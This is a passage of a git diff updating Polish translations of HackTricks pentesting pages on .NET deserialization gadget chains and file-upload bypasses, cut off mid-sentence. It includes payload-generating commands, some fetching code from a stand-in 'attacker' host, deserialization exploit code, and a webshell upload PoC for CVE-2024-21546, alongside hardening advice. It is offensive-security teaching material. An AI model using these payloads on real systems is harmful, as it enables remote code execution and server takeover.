a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,36 +1,36 @@ -# Podstawowa deserializacja .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Ten post ma na celu **zrozumienie, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużyte** z użyciem tego gadgetu. +Ten wpis ma na celu **wyjaśnić, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **w jaki sposób** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużyte** z użyciem tego gadgetu. -## Gadget ObjectDataProvider +## ObjectDataProvider Gadget -From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -Tak, to dziwne wyjaśnienie, więc zobaczmy, co w tej klasie jest tak interesujące: ta klasa pozwala **opakować dowolny obiekt**, użyć _**MethodParameters**_ aby **ustawić dowolne parametry**, a następnie **użyć MethodName do wywołania dowolnej funkcji** tego obiektu, przekazując wcześniej ustawione parametry.\ -W efekcie dowolny **obiekt** wykona **funkcję** z **parametrami podczas deserializacji.** +Z dokumentacji: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ +No cóż, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma takiego interesującego: Ta klasa pozwala **opakować dowolny obiekt**, użyć _**MethodParameters**_ aby **ustawić dowolne parametry**, a następnie **użyć MethodName, aby wywołać dowolną funkcję** opakowanego obiektu z przekazanymi parametrami.\ +W związku z tym dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.** ### **Jak to jest możliwe** Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** pod `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider. -Korzystając z [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **przejrzeć kod** klasy, która nas interesuje. Na obrazku poniżej widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** +Używając [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **zajrzeć do kodu** klasy, która nas interesuje. Na obrazku poniżej widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Jak widać, gdy ustawiany jest `MethodName`, wywoływana jest metoda `base.Refresh()`. Przyjrzyjmy się, co ona robi: +Jak widać, gdy ustawiony zostaje `MethodName`, wywoływana jest metoda `base.Refresh()`; przyjrzyjmy się, co ona robi: ![](<../../images/image (319).png>) -OK, przejdźmy dalej i zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest przesłonięta przez `ObjectDataProvider` i wygląda tak: +Ok, kontynuujmy i zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest przesłonięte przez `ObjectDataProvider` i oto co robi: ![](<../../images/image (345).png>) -Zwróć uwagę, że na końcu kodu wywoływana jest metoda `this.QueryWorke(null)`. Zobaczmy, co to wykonuje: +Zauważ, że na końcu kod wywołuje `this.QueryWorke(null)`. Zobaczmy, co to wykonuje: ![](<../../images/image (596).png>) -To nie jest pełny kod funkcji `QueryWorker`, ale pokazuje jej interesującą część: kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** — to jest linia, w której **wywoływana jest ustawiona metoda**. +Zauważ, że to nie jest cały kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** — to właśnie linia, w której **zestaw metod jest wywoływany**. Jeśli chcesz sprawdzić, że samo ustawienie _**MethodName**_ spowoduje jego wykonanie, możesz uruchomić ten kod: ```java @@ -52,14 +52,14 @@ myODP.MethodName = "Start"; } } ``` -Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` +Uwaga, trzeba dodać jako odwołanie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ aby załadować `System.Windows.Data` ## ExpandedWrapper -Używając poprzedniego exploita będą przypadki, w których **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). W takim wypadku nie będzie **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Używając poprzedniego exploita będą przypadki, gdzie **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). Wtedy nie będzie **znajomości typu obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Dlatego ta klasa może być użyta do opakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i udostępnienia właściwości, których potrzebujemy (_ObjectDataProvider.MethodName_ oraz _ObjectDataProvider.MethodParameters_).\ -Jest to bardzo przydatne w przypadkach opisanych wcześniej, ponieważ będziemy mogli **opakować _ObjectDataProvider_ wewnątrz instancji _ExpandedWrapper_** i **po zdeserializowaniu** ta klasa **utworzy** obiekt _**ObjectDataProvider**_, który **wykona** funkcję wskazaną w _**MethodName**_. +Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być użyta do zapakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ oraz _ObjectDataProvider.MethodParameters_).\ +To jest bardzo przydatne w przypadkach takich jak przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz **_**ExpandedWrapper** \_ instancji i **po zdeserializowaniu** ta klasa **utworzy** obiekt _**OjectDataProvider**_ który **wykona** **funkcję** wskazaną w _**MethodName**_. Możesz sprawdzić ten wrapper za pomocą następującego kodu: ```java @@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Na [official web page](https://www.newtonsoft.com/json) jest napisane, że ta biblioteka umożliwia **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Zatem, jeśli moglibyśmy **deserialize the ObjectDataProvider gadget**, moglibyśmy spowodować **RCE** po prostu deserialize obiektu. +W [official web page](https://www.newtonsoft.com/json) jest wskazane, że ta biblioteka pozwala **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Zatem, jeśli moglibyśmy **deserialize the ObjectDataProvider gadget**, moglibyśmy spowodować **RCE** tylko poprzez deserializację obiektu. -### Przykład Json.Net +### Json.Net example -Najpierw zobaczmy przykład, jak za pomocą tej biblioteki **serialize/deserialize** obiekt: +Najpierw zobaczmy przykład, jak **serialize/deserialize** obiekt przy użyciu tej biblioteki: ```java using System; using Newtonsoft.Json; @@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -W tym kodzie możesz **przetestować exploit**, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony: +W tym kodzie możesz **test the exploit**, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony: ```java using System; using System.Text; @@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) +## Zaawansowane łańcuchy gadgetów .NET (YSoNet & ysoserial.net) -Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU gadget chainów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (i starszy [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji. +Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU łańcuchów gadgetów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (oraz starszy [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji. -Poniżej znajduje się skondensowany zbiór najprzydatniejszych chainów dostarczanych z *YSoNet* wraz z krótkim objaśnieniem ich działania i przykładowymi poleceniami do generowania payloadów. +Poniżej znajduje się skondensowany przegląd najużyteczniejszych łańcuchów dostarczanych z *YSoNet* wraz z krótkim wyjaśnieniem działania i przykładowymi poleceniami do wygenerowania payloadów. -| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | -|--------------|----------------------|--------------------|------------------| -| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skomplilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Wykorzystuje **stare XML-owe** przedstawienie `System.Data.DataSet`, aby zainstalować dowolne typy poprzez wypełnienie pól `` / `` (opcjonalnie podrabiając assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | Na runtime z WPF (> .NET 5) łączy gettery właściwości, aż osiągnie `System.CodeDom.Compiler.CompilerResults`, po czym *kompiluje* lub *ładuje* DLL dostarczone za pomocą `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (review) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej metody statycznej z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl` do hostowania złośliwego XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| Gadget Chain | Główna idea / prymityw | Popularne serializery | YSoNet one-liner | +|--------------|------------------------|-----------------------|------------------| +| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder` tak, że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *ominięć filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skomilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Wykorzystuje **stare reprezentacje XML** `System.Data.DataSet`, aby zainstancjonować dowolne typy poprzez wypełnienie pól `` / `` (opcjonalnie podszywając się pod assembly przy użyciu `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Na środowiskach z WPF (> .NET 5) łączy gettery właściwości aż do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładuje* DLL dostarczone przez `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (przypomnienie) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej statycznej metody z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl` do zdalnego hostowania złośliwego XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się podczas deserializacji obiektu przez PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> Wszystkie payloady są domyślnie **zapisane do *stdout***, co ułatwia przekierowanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP). +> Wszystkie payloady są domyślnie **zapisywane na *stdout***, co ułatwia przekierowywanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP). -### Building / Installing YSoNet +### Budowanie / instalacja YSoNet -Jeśli nie ma dostępnych prekompilowanych binariów w *Actions ➜ Artifacts* / *Releases*, poniższy jednolinijkowy skrypt **PowerShell** przygotuje środowisko builda, sklonuje repozytorium i skompiluje wszystko w trybie *Release*: +Jeśli pod *Actions ➜ Artifacts* / *Releases* nie ma dostępnych skompilowanych binarek, poniższy jednowierszowy skrypt **PowerShell** skonfiguruje środowisko budowania, sklonuje repozytorium i skompiluje wszystko w trybie *Release*: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -216,20 +216,20 @@ cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` -Skompilowany `ysonet.exe` można znaleźć pod `ysonet/bin/Release/`. +Skompilowany `ysonet.exe` znajduje się w `ysonet/bin/Release/`. -### Wykrywanie i wzmacnianie zabezpieczeń +### Wykrywanie i utwardzanie * **Wykrywaj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub dowolnego procesu deserializującego dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`). -* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) gdy nie można usunąć przestarzałego `BinaryFormatter` / `NetDataContractSerializer`. -* Tam, gdzie to możliwe, przejdź na **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście. -* Zablokuj ładowanie niebezpiecznych bibliotek WPF (`PresentationFramework`, `System.Workflow.*`) w procesach webowych, które nie powinny ich potrzebować. +* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) kiedy nie można usunąć przestarzałego `BinaryFormatter` / `NetDataContractSerializer`. +* Tam, gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście. +* Zablokuj niebezpieczne biblioteki WPF (`PresentationFramework`, `System.Workflow.*`) przed załadowaniem w procesach webowych, które nigdy nie powinny ich potrzebować. -## Przykład z rzeczywistego świata: Sitecore convertToRuntimeHtml → BinaryFormatter +## Rzeczywisty sink: Sitecore convertToRuntimeHtml → BinaryFormatter -Praktyczny .NET sink osiągalny w uwierzytelnionych przepływach Sitecore XP Content Editor: +Praktyczny .NET sink dostępny w uwierzytelnionych przepływach Sitecore XP Content Editor: - Sink API: `Sitecore.Convert.Base64ToObject(string)` wywołuje `new BinaryFormatter().Deserialize(...)`. -- Ścieżka wyzwalająca: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, który wyszukuje element siostrzany z `id="{iframeId}_inner"` i odczytuje atrybut `value`, traktowany jako base64‑zakodowane zserializowane dane. Wynik jest rzutowany na string i wstawiany do HTML. +- Ścieżka wyzwalająca: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, który wyszukuje elementu-sąsiada z `id="{iframeId}_inner"` i odczytuje atrybut `value`, który jest traktowany jako dane zserializowane zakodowane w base64. Wynik jest rzutowany na string i wstawiany do HTML. Minimalny end‑to‑end (uwierzytelniony): ``` @@ -246,15 +246,15 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -- Gadget: dowolny BinaryFormatter chain zwracający string (side‑effects run during deserialization). Zobacz YSoNet/ysoserial.net, aby wygenerować payloady. +- Gadget: dowolny łańcuch BinaryFormatter zwracający string (efekty uboczne są uruchamiane podczas deserializacji). Zobacz YSoNet/ysoserial.net, aby wygenerować payloads. -Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sink: +Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sinka: {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} -## Źródła +## Odnośniki - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 74224163e..91d83bfcd 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -7,7 +7,7 @@ Inne przydatne rozszerzenia: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,11 +17,11 @@ Inne przydatne rozszerzenia: ### Omijanie kontroli rozszerzeń plików -1. Jeśli są stosowane, **sprawdź** **wymienione wcześniej rozszerzenia.** Testuj je też używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ -2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_ +1. Jeśli są stosowane, **sprawdź** **wymienione powyżej rozszerzenia.** Testuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ +2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_ - _file.png.php_ - _file.png.Php5_ -3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do bruteforce wszystkich znaków **ascii** i **Unicode**. (_Uwaga, możesz też spróbować użyć wcześniej wspomnianych **rozszerzeń**_) +3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć wcześniej wymienionych **rozszerzeń**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Inne przydatne rozszerzenia: - _file._ - _file.php...._ - _file.pHp5...._ -4. Spróbuj ominąć zabezpieczenia, **oszukując parser rozszerzeń** po stronie serwera, używając technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych danych** (bajty **null**) między rozszerzeniami. _Możesz też użyć **wcześniejszych rozszerzeń** do przygotowania lepszego payloadu._ +4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null bytes**) pomiędzy rozszerzeniami. _Możesz też użyć poprzednich rozszerzeń, aby przygotować lepszy payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Inne przydatne rozszerzenia: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Dodaj **kolejną warstwę rozszerzeń** do poprzednich testów: +5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (użyteczne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, nawet jeśli nie kończy się na .php, będzie wykonywać kod): +6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest błędnie skonfigurowany. (przydatne do eksploatacji błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php**, będzie wykonywane): - _ex: file.php.png_ -7. Wykorzystanie **NTFS alternate data stream (ADS)** w **Windows**. W takim przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie zostanie utworzony na serwerze **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik można później edytować innymi technikami, np. używając jego short filename. Wzorzec "**::$data**” można też użyć do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.”) -8. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. A złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php +7. Użycie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. przy użyciu jego krótkiej nazwy. Wzorzec "**::$data**” może też być użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.”) +8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte, a złośliwe PHP pozostaje. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Niektóre upload handlery obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) wersjach przed 2.9.1 możesz ominąć walidację rozszerzeń poprzez: +Niektóre mechanizmy obsługi uploadu obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń przez: -- Użycie prawidłowego MIME obrazu i magic header (np. PNG `\x89PNG\r\n\x1a\n`). -- Nazwanie przesyłanego pliku rozszerzeniem PHP z kropką na końcu, np. `shell.php.`. -- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany jeśli zostanie umieszczony w katalogu serwowanym przez web (domyślnie public storage, np. `/storage/files/`). +- Użycie poprawnego MIME obrazu i nagłówka magic (np. PNG `\x89PNG\r\n\x1a\n`). +- Nadanie przesyłanemu plikowi nazwy z rozszerzeniem PHP zakończonym kropką, np. `shell.php.`. +- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który wykona się, jeśli zostanie umieszczony w katalogu udostępnianym przez WWW (domyślnie public storage, np. `/storage/files/`). Minimalny PoC (Burp Repeater): ```http @@ -80,63 +80,63 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -Następnie odwiedź zapisany path (typowe w Laravel + LFM): +Następnie wywołaj zapisaną ścieżkę (typowe dla Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` -Środki zaradcze: +Zabezpieczenia: - Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1. -- Wymuś rygorystyczne allowlists po stronie serwera i ponownie zweryfikuj zachowaną nazwę pliku. -- Serwuj przesłane pliki z lokalizacji uniemożliwiających wykonywanie kodu. +- Wymuś rygorystyczne server-side allowlists i ponownie zweryfikuj persisted filename. +- Serwuj uploads z lokalizacji non-executable. -### Omijanie Content-Type, magic number, kompresji i zmiany rozmiaru +### Obejście Content-Type, magic number, kompresji i zmiany rozmiaru -- Omijaj sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_ +- Obejdź sprawdzanie **Content-Type**, ustawiając **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Omijaj sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmylić polecenie _file_). Albo umieść shell w **metadanych**:\ +- Obejdź sprawdzanie **magic number** przez dodanie na początku pliku **bytes of a real image** (wprowadzając w błąd polecenie _file_). Lub umieść shell w **metadata**:\ `exiftool -Comment="' >> img.png` -- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być nieskuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Strona WWW może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Kolejna technika tworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być wtedy nieskuteczne. Możesz jednak użyć **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Inne triki do sprawdzenia +### Inne sztuczki do sprawdzenia -- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (zmiana rozszerzenia). -- Znajdź podatność typu **Local File Inclusion**, aby uruchomić backdoor. +- Znajdź podatność pozwalającą 